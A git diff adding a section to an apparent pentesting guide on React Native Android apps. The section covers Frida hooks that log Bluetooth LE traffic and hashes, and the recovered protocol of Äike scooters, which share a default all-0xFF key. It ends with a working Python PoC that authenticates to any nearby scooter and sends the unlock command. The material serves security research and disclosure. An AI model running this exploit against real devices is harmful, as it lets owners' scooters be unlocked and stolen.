diff --git a/src/mobile-pentesting/android-app-pentesting/react-native-application.md b/src/mobile-pentesting/android-app-pentesting/react-native-application.md index 2b3d758dd35..839e4875ba5 100644 --- a/src/mobile-pentesting/android-app-pentesting/react-native-application.md +++ b/src/mobile-pentesting/android-app-pentesting/react-native-application.md @@ -186,6 +186,90 @@ make-apk-accept-ca-certificate.md frida-tutorial/objection-tutorial.md {{#endref}} +### Runtime GATT protocol discovery with Frida (Hermes-friendly) + +When Hermes bytecode blocks easy static inspection of the JS, hook the Android BLE stack instead. `android.bluetooth.BluetoothGatt` and `BluetoothGattCallback` expose everything the app sends/receives, letting you reverse proprietary challenge-response and command frames without JS source. + +
+Frida GATT logger (UUID + hex/ASCII dumps) + +```js +Java.perform(function () { + function b2h(b) { return Array.from(b || [], x => ('0' + (x & 0xff).toString(16)).slice(-2)).join(' '); } + function b2a(b) { return String.fromCharCode.apply(null, b || []).replace(/[^\x20-\x7e]/g, '.'); } + var G = Java.use('android.bluetooth.BluetoothGatt'); + var Cb = Java.use('android.bluetooth.BluetoothGattCallback'); + + G.writeCharacteristic.overload('android.bluetooth.BluetoothGattCharacteristic').implementation = function (c) { + console.log(`\n>>> WRITE ${c.getUuid()}`); console.log(b2h(c.getValue())); console.log(b2a(c.getValue())); + return this.writeCharacteristic(c); + }; + G.writeCharacteristic.overload('android.bluetooth.BluetoothGattCharacteristic','[B','int').implementation = function (c,v,t) { + console.log(`\n>>> WRITE ${c.getUuid()} (type ${t})`); console.log(b2h(v)); console.log(b2a(v)); + return this.writeCharacteristic(c,v,t); + }; + Cb.onConnectionStateChange.overload('android.bluetooth.BluetoothGatt','int','int').implementation = function (g,s,n) { + console.log(`*** STATE ${n} (status ${s})`); return this.onConnectionStateChange(g,s,n); + }; + Cb.onCharacteristicRead.overload('android.bluetooth.BluetoothGatt','android.bluetooth.BluetoothGattCharacteristic','int').implementation = function (g,c,s) { + var v=c.getValue(); console.log(`\n<<< READ ${c.getUuid()} status ${s}`); console.log(b2h(v)); console.log(b2a(v)); + return this.onCharacteristicRead(g,c,s); + }; + Cb.onCharacteristicChanged.overload('android.bluetooth.BluetoothGatt','android.bluetooth.BluetoothGattCharacteristic').implementation = function (g,c) { + var v=c.getValue(); console.log(`\n<<< NOTIFY ${c.getUuid()}`); console.log(b2h(v)); + return this.onCharacteristicChanged(g,c); + }; +}); +``` +
+ +Hook `java.security.MessageDigest` to fingerprint hash-based handshakes and capture the exact input concatenation: + +
+Frida MessageDigest tracer (algorithm, input, output) + +```js +Java.perform(function () { + var MD = Java.use('java.security.MessageDigest'); + MD.getInstance.overload('java.lang.String').implementation = function (alg) { console.log(`\n[HASH] ${alg}`); return this.getInstance(alg); }; + MD.update.overload('[B').implementation = function (i) { console.log('[HASH] update ' + i.length + ' bytes'); return this.update(i); }; + MD.digest.overload().implementation = function () { var r=this.digest(); console.log('[HASH] digest -> ' + r.length + ' bytes'); return r; }; + MD.digest.overload('[B').implementation = function (i) { console.log('[HASH] digest(' + i.length + ')'); return this.digest(i); }; +}); +``` +
+ +A real-world BLE flow recovered this way: +- Read challenge from `00002556-1212-efde-1523-785feabcd123`. +- Compute `response = SHA1(challenge || key)` where the **key was a 20-byte default of 0xFF** provisioned across all devices. +- Write the response to `00002557-1212-efde-1523-785feabcd123`, then issue commands on `0000155f-1212-efde-1523-785feabcd123`. + +Once authenticated, commands were 10-byte frames to `...155f...` (`[0]=0x00`, `[1]=registry 0xD4`, `[3]=cmd id`, `[7]=param`). Examples: unlock `00 D4 00 01 00 00 00 00 00 00`, lock `...02...`, eco-mode on `...03...01...`, open battery `...04...`. Notifications arrived on `0000155e-1212-efde-1523-785feabcd123` (2-byte registry + payload), and registry values could be polled by writing the registry ID to `00001564-1212-efde-1523-785feabcd123` then reading back from `...155f...`. + +With a shared/default key the challenge-response collapses. Any nearby attacker can compute the digest and send privileged commands. A minimal bleak PoC: + +
+Python (bleak) BLE auth + unlock via default key + +```python +import asyncio, hashlib +from bleak import BleakClient, BleakScanner +CHAL="00002556-1212-efde-1523-785feabcd123"; RESP="00002557-1212-efde-1523-785feabcd123"; CMD="0000155f-1212-efde-1523-785feabcd123" + +def filt(d,_): return d.name and d.name in ["AIKE","AIKE_T","AIKE_11"] +async def main(): + dev = await BleakScanner.find_device_by_filter(filt, timeout=10.0) + if not dev: return + async with BleakClient(dev.address) as c: + chal = await c.read_gatt_char(CHAL) + resp = hashlib.sha1(chal + b'\xff'*20).digest() + await c.write_gatt_char(RESP, resp, response=False) + await c.write_gatt_char(CMD, bytes.fromhex('00 d4 00 01 00 00 00 00 00 00'), response=False) + await asyncio.sleep(0.5) +asyncio.run(main()) +``` +
+ ## Recent issues in popular RN libraries (what to look for) When auditing third‑party modules visible in the JS bundle or native libs, check for known vulns and verify versions in `package.json`/`yarn.lock`. @@ -206,7 +290,8 @@ grep -R "react-native-document-picker" -n {index.android.bundle,*.map} 2>/dev/nu - [https://medium.com/bugbountywriteup/lets-know-how-i-have-explored-the-buried-secrets-in-react-native-application-6236728198f7](https://medium.com/bugbountywriteup/lets-know-how-i-have-explored-the-buried-secrets-in-react-native-application-6236728198f7) - [https://www.assetnote.io/resources/research/expanding-the-attack-surface-react-native-android-applications](https://www.assetnote.io/resources/research/expanding-the-attack-surface-react-native-android-applications) - [https://payatu.com/wp-content/uploads/2023/02/Mastering-React-Native-Application-Pentesting-A-Practical-Guide-2.pdf](https://payatu.com/wp-content/uploads/2023/02/Mastering-React-Native-Application-Pentesting-A-Practical-Guide-2.pdf) -- CVE-2024-21668: react-native-mmkv logs encryption key on Android, fixed in v2.11.0 (NVD): https://nvd.nist.gov/vuln/detail/CVE-2024-21668 -- hbctool (and forks) for Hermes assemble/disassemble: https://github.com/bongtrop/hbctool +- [CVE-2024-21668 - react-native-mmkv logs encryption key on Android (NVD)](https://nvd.nist.gov/vuln/detail/CVE-2024-21668) +- [hbctool (and forks) for Hermes assemble/disassemble](https://github.com/bongtrop/hbctool) +- [Äike BLE authentication bypass: default BLE private key allows unlocking any nearby scooter](https://blog.nns.ee/2026/01/06/aike-ble/) {{#include ../../banners/hacktricks-training.md}}